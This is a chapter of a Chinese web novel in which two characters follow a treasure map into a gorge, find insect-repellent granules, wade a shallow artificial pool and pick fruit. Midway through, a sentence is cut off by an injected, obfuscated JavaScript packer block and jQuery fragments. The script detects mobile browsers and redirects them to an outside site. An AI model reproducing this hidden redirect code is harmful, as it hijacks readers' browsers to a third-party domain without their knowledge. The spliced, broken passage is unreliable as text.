队伍出发时,丛英坚决表示要跟白阳来一起去。
白阳来觉得奇怪:“且不说一切未知,下去的路也不好走,你留在上面更安全舒服,为何一定要跟我去?”这不符合丛英娇生惯养、好逸恶劳的一贯表现啊。
苏善也觉得奇怪:“地图还没确定,白将军只是先去探查峡谷的情况而已,你现在就急着下去做什么?”
燕昭鹏的眼神在大家身上转了一圈,似笑非笑道:“很行公子的脑子可不是一般的知事懂礼,他是怕白将军不在,我与苏善公子在地图之事上各执一词他夹在中间不好做人。”
苏善听着不对:“为何不好做人,你不支持我的拼法吗?”
他这一问,丛英更觉得此地不可久留,飞速想了一个好理由说:“我从小逢凶化吉遇难成祥,下面一切未知,带上我大吉大利正合适啊!”带我走吧,快带我走吧,别让我面对苏善了,我难道能在他与燕长史之间主持什么公道吗。
在丛英的坚持下,白阳来同意他随队下谷。苏善将自己随身的匕首递给白阳来并且让他一定要不离身地带好:“这是父王给我的,他说我以后会用到,我也不知道会在什么时候用到,但你既然去找路,那就把它带上吧,父王的英灵会保佑我们的。”说完还不忘再次嘱咐:“你一定要带好了,下次见面的时候要还给我的。”
下去的路果然不好走,就算有前锋营高大健硕的士兵在前方开道,跟在队伍中间的丛英还是走得手脚并用。他喘了喘说:“我从没走过这样的路,还好我父亲常逼我打拳、让我出城跑马,不然这路我真走不下去。”
白阳来扶了他一把,似是不经意地问:“你寻常出城是走八卦阵吗?”
丛英站稳后看了他一眼,笑出了声:“白将军,你这张英秀善雅的脸真是帮了你很多,什么话从你嘴里说出来都不易让人起防备之心。”
白阳来也笑道:“显然,丛英公子与众不同。”
丛英叉着腰喘匀了气说:“是啊,塔纳云罗丹一族富庶多年,族内的争斗向来激烈,我的防备之心是从小就有的,所以格外敏锐。”
两人跟着队伍继续前进,丛英说:“白将军是想问我和苏善怎么离开的王城是吧。其实你们应该早就猜出来了,王城内有密道通向外城,就在我们初次相遇的那家商铺的后面。”
钱掌柜的恒福居是临街的商铺,门前就是王城宽敞的主街之一,与商铺背靠背的另一条巷子则是专门供人居住的。有些店主会为了方便直接买下前后街的两个院子,只要打通后院的院墙便能将地方扩大一倍,不论是用作仓库存货,还是修成前店后家的格局,看店住人都很方便。只不过钱掌柜早已在更好的地段置了宅子,便没有将恒福居后头的院子也一并买下。
丛英说:“我一个堂姐买下了那个院子,从王城挖了一条密道通过去,入口在她的闺房,出口就是城外那个院子的书房。后来她将密道告诉了我。我知道后也从没去过,这一次是因为苏善要走,我才把密道告诉了他。”
这番话既详细回答了白阳来的问题,又几乎没有透露丝毫其他的信息,可谓滴水不漏。白阳来对无关的人事不感兴趣,在得到这个答案之后也并不追问其他,只是点了点头说:“原来如此。”他这个平淡的反应让丛英松了口气,对他更增好感的同时,心思也愈加安定:毕竟白阳来若是追问什么丛英是不好不答的,可要答就必然涉及家族内更多的秘辛。有些事情告诉白阳来其实也不会有什么妨碍,但丛英并不全然是面上表现出来得那样懵懂直率、心无城府之人,他非常不愿意向任何人讲述塔纳云罗丹族内的事。在他看来,许多事情烂在肚子里是最好的,族内的龌龊也好、悲辛也罢,都不足为外人道。
又走了一会儿,众人寻到了一个干燥清凉的山洞,决定进去休息片刻。
白阳来查看山洞的内壁和地板,丛英坐在一块石头上擦汗:“你这是按着昨夜你拼好的那副地图走的吗?”
白阳来一面低头看地,一面回答:“正是,我觉得我是对的。”
丛英不置可否,上面营地里那两位也觉得自己是对的。
说到昨日拼图,白阳来道:“你一直没有表达过自己的意见。”
丛英将水囊从嘴边放下,擦了擦唇边的水渍:“没必要,就那么九张图,大不了每一种拼法都试一试,反正也是找路。”
白阳来此时正蹲在地上拨开堆积的树叶和杂草。这处山洞并非全然封闭,在它的顶部有宽大的裂缝,明亮的阳光洒下来,将山洞照得亮堂堂,四周石壁上间或有植物错落生长形成遮挡,以至于阳光并非直晒,又保证了洞中清凉。山洞里的地板也是石头的,不过上面的尘土也积很厚的一层,还掺杂着枯叶和杂草,踩上去倒是触感绵软。蹲在阳光里的白阳来侧头看向坐在阴影中丛英,犹豫了一下没说什么。倒是丛英,眼见他这番欲言又止索性从石头上站起来,走到白阳来身边蹲下,欣赏地看着白阳来悄声道:“白将军真敏锐,这就发现了?”
白阳来丝毫不避,迎着他的目光回道:“丛英公子果然格外敏锐,这就发现我发现了?”
丛英突然笑得很畅快,他这样笑的时候感觉跟在上面的时候长得都不太一样了,白阳来想,这或许才是真正的他,不过身处虎狼环绕之地若是为了自保在人前戴上一层人畜无害的面具也属平常事。
丛英很开心地说:“能遇见你这样的聪明人真好,我能大大方方地做自己而不需要害怕什么,真好。”
白阳来突然被称赞,一时不明,脱口问道:“丛英公子此话何意?”
丛英勾唇一笑说:“你自心明眼亮,看得出我的虚饰伪装,却涵养深厚,不将我拆穿。我反倒可以在你面前真实自在的做我自己,不用怕你暗着害我。你我交往,是光明正大的互利互惠,除了自己的正是,你对我其他的事情既不感兴趣,也不在乎。这才是真正让人觉得轻松自在的相处之道。”
白阳来听后点了点头,亦赞了一句:“公子通透。”
丛英得意的嘿嘿笑,这一笑倒又有些熟悉的样子了。他问白阳来:“你在这儿看了许久,看什么呢?”
白阳来说:“这些黑色的颗粒,我在草原上另一座山的几个山洞中也曾见过。”他在枯草叶中的发现的东西指给丛英看。
丛英定睛一看,发现地上的黑色颗粒数量颇多,虽然乍看不起眼,但只要仔细瞧还是挺明显的。他用手捻了捻,然后凑近闻了闻手上的味道,说:“这是专门用来驱虫的药,制药的方子和工艺都是草原上的一个小部族不外传的秘法,他们部族人少,祖祖辈辈就靠着这个在草原上生存。天气热的时候撒在居住地外围可以驱蚊虫,一般也就十天八天的药效。”丛英拍了拍手:“狮王在草原上一呼万应的时候,这个小部族也曾到王城饮宴,并奉上礼物表示归顺泼岩麻的统领,后来阿克奇坐上王位之后杀人杀得太狠,许多小部族为了保全自己都逃走了。杂部的势力能在数年间迅速壮大阿克奇功不可没。”
白阳来想到了在草原私藏兵器与粮食的那帮人,他们的山洞中也出现了这样的东西,那么很有可能他们与草原上的小部族有所勾结,一同私贩粮食兵器牟利。但,营中的情报显示,中原的粮食在草原上一直卖的很贵,更遑论兵器了,买主会是杂部吗?
丛英说:“此种药有效时呈黑色颗粒状,失效之后便会化为尘土被风吹散。这里的药不知是什么时候撒下去的,现在还保持着颗粒状,说明还有药效,我从未见过如此持久的驱虫药,不知道这是否就是传说中的上品。据说这种驱虫药越是上品越昂贵药效越大,多撒一些下去久而久之蛇虫鼠蚁便会绝迹。我父亲一直不许家里多用这种药,他说一个地方若是只有人没有其他动物,不是好事。”
不但丛英家中不用,塔纳云罗丹一族的聚居地也都不许多用这种秘制的驱虫药。蛇虫鼠蚁虽然令人厌恶,但上天有好生之德,这些东西既然存在,就必然有存在的道理,若是只为了人之私欲便要将蛇虫鼠蚁斩尽杀绝,那这样的人与暴虐地铲除异己、欺压杂部的阿克奇又有何异。
白阳来也站起来拍了拍手,如果是这样的话,那就是说,第一,他们没有找错大方向;第二,接下去的路不用担心路上会突然出现蛇虫鼠蚁干扰他们的行程了。
这两个都能算是好消息,在这两个好消息的振奋之下一行人很快继续出发。峡谷相较上面已是少了大半的燥热,但长时间走下来还是让大家都出了一身的汗,于是,当前方透来一丝清凉水汽的时候,众人不约而同地加快了脚步。
一潭碧水出现在众人面前,深绿色的水面令人意想不到的开阔,对面高高的山岭下有一个高大的洞口隔着这片翡翠一样的湖水正对着白阳来他们走下来的那条路。
一路来的燥热因着一潭碧水几乎尽数消散,湿润而清凉的水气更是将众人赶路的疲累也化解于无形,大家走下水潭所在的谷底,纷纷露出了舒适的笑意。
但向来从容沉稳的白泽将军却看着这一汪碧水略带自我怀疑地皱起了眉头。依照他之前拼成的地图,这座谷底正在通往狮王宝藏的路线上,白阳来翻出地图查看,图上的路线在这个山谷对应的位置确实穿过了一个圆圈。可眼前分明是一个深碧色的水潭,难道,圆圈代表的就是这个水潭?水潭要如何穿过?游过去吗?总感觉这似乎不对啊。
这座山谷下来的路比较陡,丛英手脚并用倒退着从上面下来后,之间大家看行李的看行李,在水边洗手脸的洗手脸,唯有见白阳来手持地图站在潭边一动不动,他看看面水临风而立的美人再看着他面前的水潭,不懂就问:“白将军你这是……专门让我们下来凉快凉快的吗?你又不急着赶路了?”
白阳来用凤眼微斜,用扬起的眼角瞥了他一眼,不想说话。虽然眼前是一片水潭,但真的走错了吗?丛英凑过来看了看地图,这是白阳来按自己拼好之后的顺序重新画的一幅完整的地图,之前引领他们找到这个大峡谷的那张被丛英认为是藏宝地图、后来发现只是九分之一的那一幅位于现在这张整图最下面正中间的位置。丛英指着图上的圈圈:“这个被路线穿过的圆圈指的就是这个水潭吗?”
白阳来将地图挪过去一点方便他看,并询问道:“你觉得呢?图上其他位置标记湖泊不是这样的,你看这里,不是中空的圆圈,而是填实的形状,而且路线也会绕开。”
丛英用拇指与食指抵着下巴做深思状说:“那么就有两种可能。一种,苏善画错了;另一种,路线就是穿过这个水潭的。”他指着水潭那边正对着他们的大洞口说:“你看,那个山洞图上也画得很清楚。”
白阳来也这样想,他相信自己拼的是对的,也相信苏善不会画错。
丛英说:“如果你相信苏善,那咱们就试一试这条路。”丛英相信苏善,他能跟着白阳来走到这里,也就相信白阳来拼好的地图,对错与否,试一试就知道了。
白阳来莞尔一笑:“我信,来吧。”
白阳来将身上不能经水的东西放在岸边,腰上系这一根绳子,隋唐宋高这时一齐站出来帮他拉住绳子以免水中有何不测,丛英在岸边学着大祭司的样子闭着眼高举双手向白阳来赐福:“愿神保佑你!”
准备下水的白阳来突然就想开个玩笑:“草原的神也会保佑我吗?”
丛英感觉正好的时候被人故意打断,肃着一张脸睁开眼睛用不容置疑的权威之声说:“闭嘴!我说保佑就保佑!”一看就是专门为了打断神秘气氛才问的,一个将军竟然如此淘气,真是!
白阳来向水中轻盈一跃,岸上的人屏息凝神,隋唐宋高同时将绳子在自己的手臂上又绕了一圈拉紧绳子。
白阳来在水中愣住,岸上的人见他不动心中同时一紧。
白阳来放下平举在两侧的手,没入水中的手臂沉入深绿色的水中看不见了,岸上众人登时紧张起来,隋唐宋高立刻准备往回拉绳子。
白阳来站了起来。
潭中的水没过他的膝盖,穿着一身白衣的白阳来站在水中面上尽是可笑与无奈,而他也真的在回头望了望岸上的众人之后笑了出来。
岸上之人更是集体住了,仿佛被刚才白阳来愣住的那个神情传染了一样。
丛英没反应过来现在是什么情况,禁不住脱口问道:“不是,你、这就是传说中的‘轻功水上漂’吗?”
白阳来再也忍不住,一下子喷笑出来:“谢谢了,谢谢你宁愿相信我会轻功。”
怪不得图上的路线直接穿过了这个圆圈,潭里的水要都这么浅那确实能直接穿过去。
丛英反应过来之后便开始兴奋:“所以,我们都能这样直接走过去吗?底下都只有这么深?是平的吗?”
白阳来说:“我确定一下。”说着开始左右来回、前前后后地走了走,水面之下的地板脚感平整且坚硬,不似自然形成,走起来像是砖地、石板的感觉。他就这样东南西北地在水潭中趟了不小的一圈,终于走到了对面的山洞处。山东洞口有三级石阶隐没于水中,走上去进了洞中便是平地了。
白阳来在山洞中转了一圈,洞壁下方的地上发现了一圈黑色的颗粒与灰白色的粉末,黑色颗粒就是之前丛英说的上品驱虫药,灰白色粉末白阳来看着似是祛除
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468867|163756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洞中湿气的,除此之外没有发现其他痕迹。于是他转身向等在对面的人喊道:“安全!可以过!”
对岸的人除了拉绳子的四人外都已经做好了涉水的准备,听得这一声后齐齐开始下水。
潭水清凉非常舒服,丛英两手拉着裤子趟着水玩儿似的就走了过来,水深到他膝盖之上约五指的地方,腿脚浸在其中燥热尽去。趁着大家搬抬着行李涉水的时间他又在水潭里来来回回地溜了一圈。
白阳来将裤腿拧干挽高,带着兵器举着一支蜡烛在山洞中查探。他从洞壁侧开的一个口走进去,里面空间不大,但是在里面又转了一个弯后便看见了光亮,原来曲折处别有洞天,顺着光亮走出来便是一片树木繁茂的林地,白阳来熄灭蜡烛,到林中捡了一抱干柴回来。
见山洞中陆续升起了火堆,丛英意犹未尽地站在水中说:“这水潭是人造的吧,底下到处都甚是平坦,不可能是自然形成的。”他突然想起,丛英的宫中好像就有一个这样的水潭,比这个更浅一些,早些年每年夏天都会有满潭清水供他玩乐消暑,殿中也会因为有大片的清水消尽暑热。整个王城中只有丛英的宫殿和狮王自己的宫殿建有这样的水潭。想到这里,丛英突然没了玩水的兴致,沉默地走上了石阶。
白阳来看着丛英突然一扫兴奋神色,沉默着从水里上来,猜他定是想到了不开心的往事,便没有特意招呼他,而是让大家都将火堆点起来,先烘烤衣服,他们带来的行礼因为涉水时加倍小心基本没有湿,生了火之后烤干衣裤的同时还可以顺便把饭做了。
做饭需要用水,白阳来蹲在水潭边上视线略过水面,想找到潭中之水的源头:此潭虽浅水色却作深绿,甚为奇怪。白阳来想:这样的颜色理应是极深之水才有的,并且,潭水如此干净,周围应该有水流进出才对。他转身去山洞另一边的树林中找了一根长长的树枝,一头用力握住,一头伸进水中顶着水底向前移动,就这样从中间向西面一路探过去,待行至水潭西面尽头处时,终于,一直顶着水底的树枝滑落了下去,白阳来握住树枝的一头向水下戳,长长的树枝连同白阳来修长的手臂都尽数没入水中也没有探到底。白阳来又握住树枝向东面如法炮制,果然水潭东西两面的水底与此处峡谷的山壁之间有约五寸宽的缝隙,水潭虽浅但缝隙之下深不可测。白阳来想,如此倒是可以确定,这绝对就是狮王特意设计修建的路线了。
再看水潭四面高耸的山壁,他们一行人是从西南边下来的,正常情况应该会循着水潭旁边通向东南方向的路从这个小谷底东面的山坡上去,继续向东走去;但若是涉过水潭,就像现在这样,那么他们今后行进的大方向就由自西向东改为向北了。
丛英跟着士兵们到后头的密林转了一圈,还摘了几个果子回来。见白阳来提着一根长树枝从水中上来,丛英将一个看起来不错的野果抛给他说:“你怎么比我还爱玩儿水,刚摘的快尝尝。”
确定水是流动的之后,大家生火做饭就方便多了。白阳来巡视一圈确认了队伍中每一个人都情况良好、一心准备吃饭之后,摩挲着手中的果子,坐在了丛英身边,丛英期待地看着他:“尝尝啊,走了这么久的路你不饿吗?”
白阳来渗出汗珠的玉面上浮起一个淡淡的笑:“你吃了吗?好吃吗?”
丛英向后仰了仰,警惕地说:“吃果子就吃果子,我跟你说长得好看别突然乱笑啊,你笑得我有点儿害怕。”
白阳来打量着那个新鲜的野果并没有咬一口的打算:“这个地方撒了那么多驱虫药,不说野物绝迹也差不多了,能结出什么好吃的果子?”
丛英坐正身子反驳道:“结果子是树的事儿,跟虫子有什么关系,乱说。”他摸了摸自己面前的果子,有些失望地说:“不过,这个果子确实不太好吃。后面的林子太密了,树枝遮住了阳光,可能只有高处的果子才会甜。”
白阳来穿好鞋袜说:“你怎么知道高处的果子甜?”
丛英放下果子拍了拍手说:“我爬上去看见了,高处的果子是红彤彤的,不像这几个,颜色这么淡。那几个看着就甜,但是太高了,我怕我上去了不好下来。”塔纳云罗丹的小贵人很懂得保护自己。
白阳来站起来说:“走,领我去看看甜的果子长什么样。”左右饭好还需要些时候,不如先去看看那片等会儿要经过的林地。
丛英领白阳来找到他看中的那棵果子树说:“就是这棵,在下面看不见,你要爬到中间那里,就是有果子的那个地方,然后向上面、东北方向的枝条看,那些的果子不但红,而且大。”还比西北方向枝条上结的多。
白阳来先前为了涉水,一身打扮正是利索的,闻言一个纵跳便上了树,他比丛英高不少,手长脚长力气又大,爬树爬得很快。丛英在下面指导:“不要摘那里的果子,我摘的就是那些,又酸又涩难吃得不行。”
白阳来心想:果然,还好我没吃。他接着向上爬,从这处开始确实就不太好爬了,枝枝叉叉很多,需要先用手拨开才能继续向上,还要边爬边小心,丛英力气小体力弱确实会比较危险。不过,抬头向东北方看去,确实有许多鲜红的果子挂在枝头,很是喜人。
白阳来仔细看着那些果子,在心中算着数目,一人一个应该是够分的,太好了,大家都能甜甜嘴了。
突然,白阳来的眼睛被晃了一下,他立刻向下缩了回去,将自己藏在茂密的树木枝叶里向着刚才晃眼的方向看去,一息、两息……白阳来静静地伏在树上仔细观察,并未发现有人的踪迹。难道是动物?可动物是用什么晃到他眼睛的呢?
丛英在树下仰头仰的脖子酸,索性找了个暖洋洋的地方背靠着石头闭上眼睛小憩一会儿。峡谷之下比上面舒服多了,既有阳光又不燥热,真好。
悠悠梦境中,躺在暄软的树林中睡着的丛英迷迷糊糊中看见一只纯白无暇的巨大白兔端正地坐在他身旁,这只白兔目秀神清,端庄可爱,全身的绒毛尖尖上都发着光,不像动物更似神明,丛英想,莫非入深山真的会有奇遇,他正要开口,只见大白兔举起了毛茸茸的兔爪,向着他的脑袋扔过来一个东西,东西扔近丛英才看清,竟然是一个拳头大的红宝石,这要是砸到头那还得了,丛英赶忙翻身避过,不想这一翻身反而摔到了。嗯,我本来不就是躺着的吗?丛英睁开眼,白阳来正坐在他身边吃果子,见他醒来若无其事地说:“醒了,给你留了两个大的,吃吧,确实甜。”说完起身走了。
坐着睡着又从靠着的地方摔倒的丛英从地上捡起两个又大又红的果子,刚想说什么突然想起方才那个梦:“哎,你刚才是不是拿果子砸我了?”